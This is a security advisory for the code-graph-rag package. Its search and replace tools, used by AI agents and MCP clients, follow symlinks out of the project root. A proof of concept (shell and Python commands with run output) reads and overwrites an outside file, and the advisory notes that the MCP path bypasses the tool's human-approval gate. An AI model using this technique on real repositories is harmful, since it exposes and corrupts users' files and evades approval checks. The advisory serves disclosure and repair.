GHSA-85GG-2GFQ-Q95M

Vulnerability from github – Published: 2026-11-09 22:16 – Updated: 2026-11-09 22:16
VLAI
Summary
Code Graph RAG structural tools follow out-of-root symlinks
Details

A remote/local attacker who can get a symbolic link included in a source-code repository that code-graph-rag analyzes can cause the structural_search and structural_replace tools (backed by AstGrepService, exposed both as MCP tools and as agentic AI tools) to read and -- via structural_replace with dry_run=False -- overwrite arbitrary files outside the configured project root, because the tool's path-containment check (should_skip_path/_classify_file) is performed lexically on the unresolved path and never checks Path.is_symlink() or calls .resolve(), unlike the project's own (correct) validate_project_path decorator used elsewhere.

Tested at commit 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (pyproject version 0.0.550), current main at test time. Confirmed this commit already contains the fix for the prior advisory (GHSA-vvr2-h2jp-838m: paginated read_file path traversal) and the newer HTTP-MCP bearer-auth gate (_validate_http_exposure in codebase_rag/mcp/server.py) -- this is a distinct, still-open issue on top of those fixes, in a different component with a different root cause and a strictly worse impact (write, not just read).

Details

AstGrepService (codebase_rag/tools/ast_grep_service.py) backs both the structural_search and structural_replace MCP/agentic tools. It enumerates candidate files with os.walk() and gates each path only through should_skip_path():

  • codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) -- walks self.project_root with os.walk(); every non-directory dirent returned (including a symlink pointing anywhere on disk) is treated as an in-scope file.
  • codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) -- the only containment check is should_skip_path(...) followed by abs_path.relative_to(self.project_root) (line 82); abs_path is never resolved, so this check is purely lexical/string-based.
  • codebase_rag/utils/path_utils.py:80-109 (should_skip_path) and codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) -- computes rel_path = file_path.relative_to(repo_path) without ever calling .resolve() or Path.is_symlink().
  • Read sink: codebase_rag/tools/ast_grep_service.py:143-144 (search) -- source = self._read(abs_path) calls path.read_text(), which Python follows through the symlink to its real target.
  • Write sink: codebase_rag/tools/ast_grep_service.py:187-208 (replace), line 208 -- abs_path.write_text(new_source, ...) when dry_run=False, again following the symlink and overwriting the real target file's content.

This is inconsistent with how the rest of the codebase handles the exact same class of risk. The file read/write/edit tools (file_reader.py, file_writer.py, file_editor.py) are all protected by validate_project_path (codebase_rag/decorators.py:73-75):

full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)

.resolve() follows symlinks before the containment check runs, so those tools correctly reject an out-of-root target. path_utils.py's own absolute_path_within_project_root() (codebase_rag/utils/path_utils.py:156-176) documents the same principle explicitly in its docstring: "The resolve() calls are load-bearing: containment is checked lexically, so an unresolved .. segment or symlink would escape the root." -- but should_skip_path()/AstGrepService never applies that pattern.

Reachability: structural_search (codebase_rag/tools/structural_search.py:24-46) carries no requires_approval flag at all -- in AI-orchestrator mode the model can call it autonomously with no human confirmation. structural_replace (codebase_rag/tools/structural_editor.py:52-57) is marked requires_approval=True, but that flag is only enforced by pydantic-ai's own agent loop -- the MCP server path bypasses it entirely: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) calls self._structural_editor_tool.function(...) directly, registered with no approval concept at codebase_rag/mcp/tools.py:369-388. Any MCP client that can call tools can invoke structural_replace with dry_run=False in one shot.

Proof of Concept

Dynamically confirmed against the installed package (mgclient/pymgclient mocked, as in the prior advisory's own PoC, since the Memgraph native client isn't needed for this code path).

mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
    return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService

SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)

matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN'  (read escape)

changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
                       language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())

Actual run output:

[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
    match in reported file='linked_module.py' text='API_TOKEN'
    match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
    structural_search(), attributed to a path 'inside' the project root.

[*] Calling AstGrepService.replace(pattern='API_TOKEN',
    rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
    wrote change to reported file='linked_module.py' matches=2

[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"

def get_token():
    return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
    (/tmp/poc_symlink/safe-project-root) was modified by structural_replace
    via a symlink placed inside the root.

Impact

Any operator who points cgr (CLI, agentic ask_agent mode, or MCP structural_search/structural_replace tools) at a repository they did not fully audit -- the exact use case this tool is built for ("query, understand, and edit multi-language codebases") -- can have that repository's planted symlink used to: - Disclose the contents of any file readable by the cgr process (credentials, SSH keys, .env files, sibling project source), via structural_search, with no approval gate at all. - Overwrite the contents of any file writable by the cgr process, via structural_replace(dry_run=False), bypassing the tool's own approval gate when called through the MCP protocol.

Remediation

Apply the same resolve-then-contain pattern already used by validate_project_path (codebase_rag/decorators.py:73-75) and absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176) to should_skip_path. Reject any path whose resolved (symlink-followed) location escapes the resolved project root:

--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
     _is_file = path.is_file() if is_file is None else is_file
     if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
         return True
+    # Reject symlinks (or any path) that resolve outside the project root,
+    # mirroring validate_project_path's decorator (decorators.py:73-75) and
+    # absolute_path_within_project_root (this module, below).
+    try:
+        path.resolve().relative_to(repo_path.resolve())
+    except ValueError:
+        return True
     rel_path = cached_relative_path(path, repo_path)

Concretely: this one change in should_skip_path fixes both _classify_file (search) and the os.walk filtering in _iter_source_files (replace), since both route through it. As defense in depth, _iter_source_files could additionally skip symlinked dirents outright (entry.is_symlink()) during the os.walk.

Credit: Dostxodjayev Abdullox (GitHub: squeeze440)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.0.586"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "code-graph-rag"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.587"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-87008"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-09T22:16:41Z",
    "nvd_published_at": "2026-11-05T21:18:54Z",
    "severity": "HIGH"
  },
  "details": "A remote/local attacker who can get a symbolic link included in a source-code repository that code-graph-rag analyzes can cause the `structural_search` and `structural_replace` tools (backed by `AstGrepService`, exposed both as MCP tools and as agentic AI tools) to read and -- via `structural_replace` with `dry_run=False` -- overwrite arbitrary files outside the configured project root, because the tool\u0027s path-containment check (`should_skip_path`/`_classify_file`) is performed lexically on the unresolved path and never checks `Path.is_symlink()` or calls `.resolve()`, unlike the project\u0027s own (correct) `validate_project_path` decorator used elsewhere.\n\nTested at commit `90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57` (pyproject version 0.0.550), current `main` at test time. Confirmed this commit already contains the fix for the prior advisory (GHSA-vvr2-h2jp-838m: paginated `read_file` path traversal) and the newer HTTP-MCP bearer-auth gate (`_validate_http_exposure` in `codebase_rag/mcp/server.py`) -- this is a distinct, still-open issue on top of those fixes, in a different component with a different root cause and a strictly worse impact (write, not just read).\n\n## Details\n\n`AstGrepService` (`codebase_rag/tools/ast_grep_service.py`) backs both the `structural_search` and `structural_replace` MCP/agentic tools. It enumerates candidate files with `os.walk()` and gates each path only through `should_skip_path()`:\n\n- `codebase_rag/tools/ast_grep_service.py:84-109` (`_iter_source_files`) -- walks `self.project_root` with `os.walk()`; every non-directory dirent returned (including a symlink pointing anywhere on disk) is treated as an in-scope file.\n- `codebase_rag/tools/ast_grep_service.py:61-82` (`_classify_file`) -- the only containment check is `should_skip_path(...)` followed by `abs_path.relative_to(self.project_root)` (line 82); `abs_path` is never resolved, so this check is purely lexical/string-based.\n- `codebase_rag/utils/path_utils.py:80-109` (`should_skip_path`) and `codebase_rag/utils/path_utils.py:35-37` (`cached_relative_path`) -- computes `rel_path = file_path.relative_to(repo_path)` without ever calling `.resolve()` or `Path.is_symlink()`.\n- Read sink: `codebase_rag/tools/ast_grep_service.py:143-144` (`search`) -- `source = self._read(abs_path)` calls `path.read_text()`, which Python follows through the symlink to its real target.\n- Write sink: `codebase_rag/tools/ast_grep_service.py:187-208` (`replace`), line 208 -- `abs_path.write_text(new_source, ...)` when `dry_run=False`, again following the symlink and overwriting the real target file\u0027s content.\n\nThis is inconsistent with how the rest of the codebase handles the exact same class of risk. The file read/write/edit tools (`file_reader.py`, `file_writer.py`, `file_editor.py`) are all protected by `validate_project_path` (`codebase_rag/decorators.py:73-75`):\n\n```python\nfull_path = (self.project_root / file_path_str).resolve()\nproject_root = self.project_root.resolve()\nfull_path.relative_to(project_root)\n```\n\n`.resolve()` follows symlinks before the containment check runs, so those tools correctly reject an out-of-root target. `path_utils.py`\u0027s own `absolute_path_within_project_root()` (`codebase_rag/utils/path_utils.py:156-176`) documents the same principle explicitly in its docstring: \"The resolve() calls are load-bearing: containment is checked lexically, so an unresolved .. segment or symlink would escape the root.\" -- but `should_skip_path()`/`AstGrepService` never applies that pattern.\n\n**Reachability:** `structural_search` (`codebase_rag/tools/structural_search.py:24-46`) carries no `requires_approval` flag at all -- in AI-orchestrator mode the model can call it autonomously with no human confirmation. `structural_replace` (`codebase_rag/tools/structural_editor.py:52-57`) is marked `requires_approval=True`, but that flag is only enforced by pydantic-ai\u0027s own agent loop -- the MCP server path bypasses it entirely: `MCPToolsRegistry.structural_replace` (`codebase_rag/mcp/tools.py:586-596`) calls `self._structural_editor_tool.function(...)` directly, registered with no approval concept at `codebase_rag/mcp/tools.py:369-388`. Any MCP client that can call tools can invoke `structural_replace` with `dry_run=False` in one shot.\n\n## Proof of Concept\n\nDynamically confirmed against the installed package (mgclient/pymgclient mocked, as in the prior advisory\u0027s own PoC, since the Memgraph native client isn\u0027t needed for this code path).\n\n```bash\nmkdir -p /tmp/poc_symlink/safe-project-root\ncat \u003e /tmp/poc_symlink/outside-secret.py \u003c\u003c \u0027EOF\u0027\nAPI_TOKEN = \"sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890\"\ndef get_token():\n    return API_TOKEN\nEOF\nln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py\n```\n\n```python\nimport sys\nfrom pathlib import Path\nfrom unittest.mock import MagicMock\nsys.modules[\"mgclient\"] = MagicMock()\nsys.modules[\"pymgclient\"] = MagicMock()\nfrom codebase_rag.tools.ast_grep_service import AstGrepService\n\nSAFE_ROOT = \"/tmp/poc_symlink/safe-project-root\"\nsvc = AstGrepService(project_root=SAFE_ROOT)\n\nmatches = svc.search(pattern=\"API_TOKEN\", language=\"python\")\n# -\u003e match in reported file=\u0027linked_module.py\u0027 text=\u0027API_TOKEN\u0027  (read escape)\n\nchanges = svc.replace(pattern=\"API_TOKEN\", rewrite=\"PWNED_BY_STRUCTURAL_REPLACE\",\n                       language=\"python\", dry_run=False)\nprint(Path(\"/tmp/poc_symlink/outside-secret.py\").read_text())\n```\n\nActual run output:\n\n```\n[*] Calling AstGrepService.search(\u0027API_TOKEN\u0027, language=\u0027python\u0027) ...\n    match in reported file=\u0027linked_module.py\u0027 text=\u0027API_TOKEN\u0027\n    match in reported file=\u0027linked_module.py\u0027 text=\u0027API_TOKEN\u0027\n[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by\n    structural_search(), attributed to a path \u0027inside\u0027 the project root.\n\n[*] Calling AstGrepService.replace(pattern=\u0027API_TOKEN\u0027,\n    rewrite=\u0027PWNED_BY_STRUCTURAL_REPLACE\u0027, dry_run=False) ...\n    wrote change to reported file=\u0027linked_module.py\u0027 matches=2\n\n[*] Outside file content AFTER structural_replace:\n------------------------------------------------------------\n# Simulated sensitive file OUTSIDE the analyzed project root\nPWNED_BY_STRUCTURAL_REPLACE = \"sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890\"\n\ndef get_token():\n    return PWNED_BY_STRUCTURAL_REPLACE\n------------------------------------------------------------\n[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root\n    (/tmp/poc_symlink/safe-project-root) was modified by structural_replace\n    via a symlink placed inside the root.\n```\n\n## Impact\n\nAny operator who points `cgr` (CLI, agentic `ask_agent` mode, or MCP `structural_search`/`structural_replace` tools) at a repository they did not fully audit -- the exact use case this tool is built for (\"query, understand, and edit multi-language codebases\") -- can have that repository\u0027s planted symlink used to:\n- Disclose the contents of any file readable by the `cgr` process (credentials, SSH keys, `.env` files, sibling project source), via `structural_search`, with no approval gate at all.\n- Overwrite the contents of any file writable by the `cgr` process, via `structural_replace(dry_run=False)`, bypassing the tool\u0027s own approval gate when called through the MCP protocol.\n\n## Remediation\n\nApply the same resolve-then-contain pattern already used by `validate_project_path` (`codebase_rag/decorators.py:73-75`) and `absolute_path_within_project_root` (`codebase_rag/utils/path_utils.py:156-176`) to `should_skip_path`. Reject any path whose resolved (symlink-followed) location escapes the resolved project root:\n\n```diff\n--- a/codebase_rag/utils/path_utils.py\n+++ b/codebase_rag/utils/path_utils.py\n@@ def should_skip_path(\n     _is_file = path.is_file() if is_file is None else is_file\n     if _is_file and path.suffix in cs.IGNORE_SUFFIXES:\n         return True\n+    # Reject symlinks (or any path) that resolve outside the project root,\n+    # mirroring validate_project_path\u0027s decorator (decorators.py:73-75) and\n+    # absolute_path_within_project_root (this module, below).\n+    try:\n+        path.resolve().relative_to(repo_path.resolve())\n+    except ValueError:\n+        return True\n     rel_path = cached_relative_path(path, repo_path)\n```\n\nConcretely: this one change in `should_skip_path` fixes both `_classify_file` (search) and the `os.walk` filtering in `_iter_source_files` (replace), since both route through it. As defense in depth, `_iter_source_files` could additionally skip symlinked dirents outright (`entry.is_symlink()`) during the `os.walk`.\n\nCredit: Dostxodjayev Abdullox (GitHub: squeeze440)",
  "id": "GHSA-85gg-2gfq-q95m",
  "modified": "2026-11-09T22:16:41Z",
  "published": "2026-11-09T22:16:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vitali87/code-graph-rag/security/advisories/GHSA-85gg-2gfq-q95m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87008"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitali87/code-graph-rag/commit/2648c95aa550ce2d9361a8e75ed669d5f4b451b8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vitali87/code-graph-rag"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitali87/code-graph-rag/releases/tag/v0.0.589"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Code Graph RAG structural tools follow out-of-root symlinks"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.